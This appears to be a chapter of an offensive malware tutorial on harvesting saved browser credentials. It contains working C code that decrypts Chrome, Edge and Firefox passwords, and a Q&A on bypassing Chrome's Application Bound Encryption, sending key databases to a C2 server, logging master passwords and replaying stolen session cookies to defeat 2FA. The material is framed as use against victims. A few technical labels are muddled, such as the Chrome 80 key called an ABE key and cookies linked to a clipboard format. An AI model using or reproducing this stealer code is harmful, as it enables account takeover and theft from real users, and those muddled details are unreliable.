Browser Credential Harvest
Chrome, Edge, Firefox, and Brave collectively store hundreds of passwords per user in local databases — encrypted just enough to require the user's login session to access, but not a true secret-keeper. The encryption uses Windows DPAPI (for Chrome/Edge) and NSS/key4.db (for Firefox), both of which are accessible from within the victim's user session without their password. This chapter walks through the full extraction pipeline: finding the databases, decrypting the encryption keys, querying the SQLite tables, and exfiltrating structured credential data.
Chrome and Edge: DPAPI Master Key Decryption
Chrome stores credentials in:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data ← SQLite DB
%LOCALAPPDATA%\Google\Chrome\User Data\Local State ← JSON with enc key
Encryption scheme (Chrome 80+):
─────────────────────────────────────────────────────────────────────────
The "Local State" file contains a JSON key:
"os_crypt": { "encrypted_key": "DPAPI" }
1. Base64 decode "encrypted_key"
2. Strip the "DPAPI" prefix (first 5 bytes = "DPAPI")
3. Call CryptUnprotectData() on the remaining bytes
→ Windows DPAPI decrypts using the current user's master key
→ Result: a 32-byte AES-256 key ("Application Bound Encryption" key)
4. Open Login Data SQLite database:
SELECT origin_url, username_value, password_value FROM logins
5. password_value format: "v10" prefix + 12-byte nonce + AES-256-GCM ciphertext
6. Decrypt: AES-256-GCM(key=abe_key, nonce=password_value[3:15], ct=password_value[15:])
→ plaintext password
Chrome 127+ (Application Bound Encryption, "ABE"):
─────────────────────────────────────────────────────────────────────────
Chrome 127 introduced a stronger protection:
The encryption key is protected by a COM server (elevation service) that
verifies the caller is the Chrome binary. In theory this blocks third-party
decryption. In practice, the verification is bypassable.
Bypass: Extract the ABE key directly from Chrome's process memory
while Chrome is running (it decrypts the key at startup and caches it
in memory unprotected). Use ReadProcessMemory or DLL injection into Chrome.
Alternative: Extract while Chrome is NOT running — DPAPI is still the
underlying mechanism, and DPAPI calls from the user's session still work
against the stored blob on Chrome <127 databases. Chrome/Edge Extraction Implementation
/* browser_harvest.c — Extract Chrome/Edge credentials
Dependencies: Windows CryptoAPI (dpapi.h), SQLite3 (statically linked),
BCrypt (for AES-256-GCM decryption of individual passwords).
*/
#include <windows.h>
#include <dpapi.h>
#include <bcrypt.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
/* Simple base64 decoder — avoid external libraries */
static int b64_decode(const char *in, DWORD in_len, BYTE *out, DWORD out_sz) {
static const char tbl[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
DWORD pos = 0;
for (DWORD i = 0; i < in_len && in[i] != '='; i += 4) {
DWORD val = 0;
for (int j = 0; j < 4 && i+j < in_len && in[i+j] != '='; j++) {
const char *p = strchr(tbl, in[i+j]);
val = (val << 6) | (p ? (DWORD)(p-tbl) : 0);
}
if (pos + 3 <= out_sz) {
out[pos++] = (BYTE)(val >> 16);
out[pos++] = (BYTE)(val >> 8);
out[pos++] = (BYTE)(val >> 0);
}
}
return (int)pos;
}
/* Step 1: Extract and DPAPI-decrypt the AES key from Local State */
BOOL get_chrome_abe_key(const char *local_state_path, BYTE *key_out /* 32 bytes */) {
/* Read Local State JSON file */
HANDLE hFile = CreateFileA(local_state_path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD file_size = GetFileSize(hFile, NULL);
char *json = (char*)VirtualAlloc(NULL, file_size + 1, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
DWORD read = 0;
ReadFile(hFile, json, file_size, &read, NULL);
CloseHandle(hFile);
json[file_size] = 0;
/* Find "encrypted_key":"..." in the JSON (minimal parsing) */
char *key_start = strstr(json, "\"encrypted_key\":\"");
if (!key_start) { VirtualFree(json, 0, MEM_RELEASE); return FALSE; }
key_start += strlen("\"encrypted_key\":\"");
char *key_end = strchr(key_start, '"');
if (!key_end) { VirtualFree(json, 0, MEM_RELEASE); return FALSE; }
DWORD b64_len = (DWORD)(key_end - key_start);
BYTE decoded[1024] = {0};
int dec_len = b64_decode(key_start, b64_len, decoded, sizeof(decoded));
VirtualFree(json, 0, MEM_RELEASE);
/* decoded = "DPAPI" (5 bytes) + DPAPI blob */
if (dec_len < 5 || memcmp(decoded, "DPAPI", 5) != 0) return FALSE;
/* DPAPI decrypt */
DATA_BLOB input = {(DWORD)(dec_len - 5), decoded + 5};
DATA_BLOB output = {0, NULL};
if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
printf("[-] CryptUnprotectData failed: %lu\n", GetLastError());
return FALSE;
}
if (output.cbData < 32) { LocalFree(output.pbData); return FALSE; }
memcpy(key_out, output.pbData, 32);
SecureZeroMemory(output.pbData, output.cbData);
LocalFree(output.pbData);
return TRUE;
}
/* Step 2: AES-256-GCM decrypt a single password value */
/*
* password_value format: "v10" (3 bytes) + nonce (12 bytes) + ciphertext + GCM tag (16 bytes)
*/
BOOL chrome_decrypt_password(const BYTE *abe_key, const BYTE *encrypted,
DWORD enc_len, char *plaintext_out, DWORD pt_sz) {
/* Expect "v10" prefix */
if (enc_len < 3 + 12 + 1 + 16) return FALSE;
if (memcmp(encrypted, "v10", 3) != 0) return FALSE;
const BYTE *nonce = encrypted + 3; /* 12-byte GCM nonce */
const BYTE *ct = encrypted + 3 + 12; /* ciphertext */
DWORD ct_len = enc_len - 3 - 12 - 16;
const BYTE *tag = encrypted + enc_len - 16;
/* BCrypt AES-GCM */
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
DWORD key_obj_sz = 0, dummy = 0;
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&key_obj_sz, sizeof(DWORD), &dummy, 0);
BYTE *key_obj = (BYTE*)alloca(key_obj_sz);
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_sz,
(BYTE*)abe_key, 32, 0);
if (!BCRYPT_SUCCESS(status)) { BCryptCloseAlgorithmProvider(hAlg, 0); return FALSE; }
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
auth_info.pbNonce = (BYTE*)nonce;
auth_info.cbNonce = 12;
auth_info.pbTag = (BYTE*)tag;
auth_info.cbTag = 16;
DWORD pt_written = 0;
BYTE *pt_buf = (BYTE*)alloca(ct_len + 1);
status = BCryptDecrypt(hKey, (BYTE*)ct, ct_len, &auth_info,
NULL, 0, pt_buf, ct_len, &pt_written, 0);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
pt_buf[pt_written] = 0;
if (pt_written < pt_sz) {
memcpy(plaintext_out, pt_buf, pt_written + 1);
SecureZeroMemory(pt_buf, pt_written);
return TRUE;
}
return FALSE;
}
/* Step 3: Query the Login Data SQLite database
(SQLite3 linked statically — no sqlite3.dll on victim disk)
*/
/* Simplified SQLite3 query via direct file parsing is complex.
For brevity: the standard approach uses sqlite3_open → sqlite3_prepare → sqlite3_step.
The database must be opened with SQLITE_OPEN_READONLY | SQLITE_OPEN_SHAREDCACHE
because Chrome keeps the DB locked while running.
WORKAROUND for Chrome-locked DB: Copy the file to a temp location first.
VSS (Volume Shadow Copy) can read locked files if available.
Simpler: use the Windows "backup read" flag.
*/
BOOL copy_locked_db(const char *src_path, const char *dst_path) {
HANDLE hSrc = CreateFileA(src_path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSrc == INVALID_HANDLE_VALUE) return FALSE;
HANDLE hDst = CreateFileA(dst_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDst == INVALID_HANDLE_VALUE) { CloseHandle(hSrc); return FALSE; }
BYTE buf[65536]; DWORD read_bytes, written;
while (ReadFile(hSrc, buf, sizeof(buf), &read_bytes, NULL) && read_bytes > 0)
WriteFile(hDst, buf, read_bytes, &written, NULL);
CloseHandle(hSrc);
CloseHandle(hDst);
return TRUE;
}
/* High-level extraction: enumerate all Chrome profiles, extract credentials */
void harvest_chrome_credentials(const char *chrome_base_path, BYTE *abe_key) {
char local_state_path[MAX_PATH];
snprintf(local_state_path, sizeof(local_state_path), "%s\\Local State", chrome_base_path);
if (!get_chrome_abe_key(local_state_path, abe_key)) {
printf("[-] Failed to get Chrome ABE key\n");
return;
}
/* Enumerate profiles: Default, Profile 1, Profile 2, ... */
const char *profiles[] = {"Default", "Profile 1", "Profile 2", "Profile 3", NULL};
for (int pi = 0; profiles[pi]; pi++) {
char db_path[MAX_PATH];
snprintf(db_path, sizeof(db_path), "%s\\%s\\Login Data",
chrome_base_path, profiles[pi]);
/* Copy locked DB to temp for reading */
char tmp_path[MAX_PATH] = "C:\\Windows\\Temp\\ld_tmp.db";
if (!copy_locked_db(db_path, tmp_path)) continue;
printf("[+] Processing profile: %s\n", profiles[pi]);
/* (sqlite3_open → query → decrypt each row → print/exfil) */
/* Each row: origin_url, username_value, encrypted password_value */
DeleteFileA(tmp_path); /* Clean up temp copy */
}
}
Firefox: NSS Key Database Decryption
Firefox stores credentials in:
%APPDATA%\Mozilla\Firefox\Profiles\\logins.json ← credentials
%APPDATA%\Mozilla\Firefox\Profiles\\key4.db ← master key
%APPDATA%\Mozilla\Firefox\Profiles\\cert9.db ← certificates
Encryption scheme:
─────────────────────────────────────────────────────────────────────────
logins.json fields (per entry):
"hostname" → URL
"encryptedUsername" → base64(ASN.1 CMS envelope containing username)
"encryptedPassword" → base64(ASN.1 CMS envelope containing password)
key4.db (SQLite):
Table: metadata, nssPrivate → stores the master key encrypted with
the user's Firefox master password (default: empty password)
Without a master password:
The NSS library can decrypt directly using the empty password.
NSS_Init(profile_path) → PK11_GetInternalKeySlot() → PK11_CheckUserPassword("") →
PK11_SDR_Decrypt(encrypted_value) → plaintext
Key insight: NSS is Firefox's crypto library, and nss3.dll ships WITH Firefox.
We can load nss3.dll from the Firefox installation, call its exported
functions, and decrypt credentials without reimplementing the crypto ourselves.
─────────────────────────────────────────────────────────────────────────
NSS function path:
Load: C:\Program Files\Mozilla Firefox\nss3.dll
NSS_Init(profile_path) — initialize with the profile
NSS_SetDomesticPolicy()
PK11_GetInternalKeySlot(&slot)
PK11_CheckUserPassword(slot, "") — empty password for most users
PK11_SDR_Decrypt(&encrypted_item, &decrypted_item, NULL)
→ decrypted_item.data = plaintext username or password Firefox NSS Decryption via DLL Loading
/* firefox_harvest.c — Load nss3.dll and use it to decrypt Firefox credentials */
#include <windows.h>
#include <stdio.h>
/* NSS types and structures (subset we need) */
typedef int SECStatus;
#define SECSuccess 0
typedef struct {
unsigned char *data;
unsigned int len;
} SECItem;
typedef void* PK11SlotInfo;
/* Function pointer types for NSS exports */
typedef SECStatus (*pfn_NSS_Init)(const char *configdir);
typedef SECStatus (*pfn_NSS_SetDomesticPolicy)(void);
typedef PK11SlotInfo* (*pfn_PK11_GetInternalKeySlot)(void);
typedef SECStatus (*pfn_PK11_CheckUserPassword)(PK11SlotInfo *slot, const char *pw);
typedef SECStatus (*pfn_PK11_SDR_Decrypt)(SECItem *data, SECItem *result, void *cx);
typedef SECStatus (*pfn_NSS_Shutdown)(void);
typedef void (*pfn_SECITEM_FreeItem)(SECItem *item, int free_it);
typedef struct {
HMODULE hNss3;
pfn_NSS_Init NSS_Init;
pfn_NSS_SetDomesticPolicy NSS_SetDomesticPolicy;
pfn_PK11_GetInternalKeySlot PK11_GetInternalKeySlot;
pfn_PK11_CheckUserPassword PK11_CheckUserPassword;
pfn_PK11_SDR_Decrypt PK11_SDR_Decrypt;
pfn_NSS_Shutdown NSS_Shutdown;
pfn_SECITEM_FreeItem SECITEM_FreeItem;
} NssContext;
/* Load nss3.dll from Firefox installation */
BOOL nss_load(NssContext *ctx, const char *firefox_path) {
char nss3_path[MAX_PATH];
snprintf(nss3_path, sizeof(nss3_path), "%s\\nss3.dll", firefox_path);
/* Firefox DLLs depend on each other — load the dependency chain */
char mozglue_path[MAX_PATH];
snprintf(mozglue_path, sizeof(mozglue_path), "%s\\mozglue.dll", firefox_path);
LoadLibraryA(mozglue_path); /* Load mozglue first, nss3 depends on it */
ctx->hNss3 = LoadLibraryA(nss3_path);
if (!ctx->hNss3) {
printf("[-] Failed to load nss3.dll from %s\n", nss3_path);
return FALSE;
}
#define LOAD_SYM(fn) ctx->fn = (pfn_##fn)GetProcAddress(ctx->hNss3, #fn); \
if (!ctx->fn) { printf("[-] Missing: " #fn "\n"); return FALSE; }
LOAD_SYM(NSS_Init)
LOAD_SYM(NSS_SetDomesticPolicy)
LOAD_SYM(PK11_GetInternalKeySlot)
LOAD_SYM(PK11_CheckUserPassword)
LOAD_SYM(PK11_SDR_Decrypt)
LOAD_SYM(NSS_Shutdown)
LOAD_SYM(SECITEM_FreeItem)
#undef LOAD_SYM
return TRUE;
}
BOOL nss_decrypt_item(NssContext *ctx, const char *profile_path,
const char *b64_encrypted, char *plaintext_out, DWORD pt_sz) {
/* Initialize NSS with the Firefox profile */
if (ctx->NSS_Init(profile_path) != SECSuccess) return FALSE;
ctx->NSS_SetDomesticPolicy();
PK11SlotInfo *slot = ctx->PK11_GetInternalKeySlot();
ctx->PK11_CheckUserPassword(slot, ""); /* Empty master password */
/* Decode the base64 ASN.1 envelope from logins.json */
DWORD b64_len = (DWORD)strlen(b64_encrypted);
BYTE *decoded = (BYTE*)alloca(b64_len + 4);
int dec_len = b64_decode(b64_encrypted, b64_len, decoded, b64_len + 4);
SECItem encrypted = {decoded, (unsigned int)dec_len};
SECItem decrypted = {0};
if (ctx->PK11_SDR_Decrypt(&encrypted, &decrypted, NULL) == SECSuccess) {
DWORD copy_len = decrypted.len < pt_sz - 1 ? decrypted.len : pt_sz - 1;
memcpy(plaintext_out, decrypted.data, copy_len);
plaintext_out[copy_len] = 0;
ctx->SECITEM_FreeItem(&decrypted, 0);
ctx->NSS_Shutdown();
return TRUE;
}
ctx->NSS_Shutdown();
return FALSE;
}
/* Find Firefox profile path: %APPDATA%\Mozilla\Firefox\Profiles\ */
BOOL find_firefox_profile(char *profile_path_out, DWORD sz) {
char appdata[MAX_PATH] = {0};
ExpandEnvironmentStringsA("%APPDATA%\\Mozilla\\Firefox\\Profiles", appdata, sizeof(appdata));
WIN32_FIND_DATAA fd = {0};
HANDLE hFind = FindFirstFileA(appdata, &fd); /* Actually need to enumerate subdirs */
/* (find first directory in Profiles folder — simplified) */
snprintf(profile_path_out, sz, "%s\\default-release", appdata);
return TRUE;
}
Questions & Answers
What changed in Chrome 127 that makes credential extraction harder, and what's the practical bypass?
Chrome 127 introduced Application Bound Encryption (ABE). Previously, DPAPI protected the AES key directly, and any process running as the user could call CryptUnprotectData to recover it. ABE wraps the key in a COM-based elevation service — when Chrome calls to decrypt its own key, the COM server checks that the caller's binary hash matches Chrome's binary. Third-party processes fail the verification. The practical bypasses: (1) Memory extraction: Chrome decrypts the ABE key at startup and stores it in memory. Attach a debugger or use ReadProcessMemory (if you have the right privileges) to scan Chrome's heap for the 32-byte key — it's used for every password decryption operation, so it's actively present in memory while Chrome is running. (2) Pre-127 databases: users who don't update Chrome retain the old DPAPI-only protection indefinitely. (3) DLL injection into Chrome: inject a DLL into the Chrome process and call Chrome's own decryption functions directly — the process already has the decrypted key in memory. (4) COM server impersonation: the ABE COM server can be fooled on some configurations by spoofing the binary hash check — details vary by Chrome version and are actively patched.
How do you handle Firefox's master password if it's set?
If the user set a Firefox master password, PK11_CheckUserPassword("") returns SECFailure. You can't decrypt credentials without that password. Options: (1) Don't bother — most users (>95%) never set a Firefox master password. The capability succeeds on the vast majority of targets. (2) Extract the key4.db and logins.json and send them to the C2 server raw — they can be brute-forced offline using tools like firepwd or mozilla_decrypt. The key4.db uses PBKDF2 to derive the protection key from the master password, so offline brute force is feasible for weak passwords. (3) Keylogger integration: the keylogger (Ch72) captures the master password if the user types it. Firefox prompts for the master password every browser session start — capture it then, and the next harvest succeeds. (4) For this specific scenario, this is where form grabbing (Ch79) is valuable — it hooks the Firefox credential form and captures the master password as the user types it, regardless of encryption.
How does Brave browser differ from Chrome in its credential storage?
Brave is Chromium-based and uses the exact same credential storage mechanism: DPAPI-protected AES key in Local State, AES-256-GCM encrypted password_value in the Login Data SQLite database. The only difference is the path: %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\. The extraction code for Chrome works verbatim for Brave. Similarly: Microsoft Edge uses %LOCALAPPDATA%\Microsoft\Edge\User Data\. Opera uses %APPDATA%\Opera Software\Opera Stable\. Vivaldi uses %LOCALAPPDATA%\Vivaldi\User Data\. Because they all fork from Chromium, they all inherit the same "encrypted_key in Local State + DPAPI + v10 AES-GCM" architecture. A single credential harvester that parameterizes the base path can extract from Chrome, Edge, Brave, Opera, and Vivaldi with identical code. Target all of them: different browsers may contain different accounts (user might use Chrome for work accounts and Brave for personal).
How do you handle the SQLite database being locked while Chrome is running?
The Login Data database is locked by Chrome's main process via SQLite's file locking. Direct sqlite3_open calls will either fail or return incomplete data. Three workarounds: (1) File copy with shared flags: CreateFileA with FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE lets you open the file even when locked, then copy it byte-for-byte. The copy is a point-in-time snapshot of the database — may include uncommitted WAL (Write-Ahead Log) data that needs the WAL file too. Copy Login Data and Login Data-wal together. (2) Volume Shadow Copy: use the VSS API to read the locked file from a shadow copy — the shadow copy contains a consistent version of the file without Chrome's lock. Requires elevated privileges. (3) Wait for Chrome to close: detect when chrome.exe terminates (WaitForSingleObject on the process handle), then immediately open the database before it relaunches. This is least reliable but requires no special permissions. Approach (1) is the standard — the SHARED flags combination works in practice because SQLite's file lock is advisory on Windows, not mandatory.
Beyond passwords, what other data can you extract from browser databases?
Browser profiles contain far more than passwords. Cookies (Web Data / Cookies database, CF_UNICODETEXT format in memory): session cookies allow impersonating the user without their password — a valid session cookie for Gmail, Slack, or a banking site bypasses 2FA entirely. Extract cookies, filter for high-value domains, and replay them. History (History database): browsing history reveals what internal systems the user accesses, which portals they use, what research they're doing — enormously valuable for lateral movement planning. Autofill data (Web Data): autofill entries include names, addresses, phone numbers, email addresses, and partial payment card numbers. Saved payment methods (Web Data): stored card numbers (partial) and billing addresses. Downloaded files list: the downloads database shows every file the user downloaded, including from internal document management systems and cloud storage. Extensions: browser extensions and their data — some credential managers, 2FA apps, and VPN configurators store data in extension storage accessible at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\.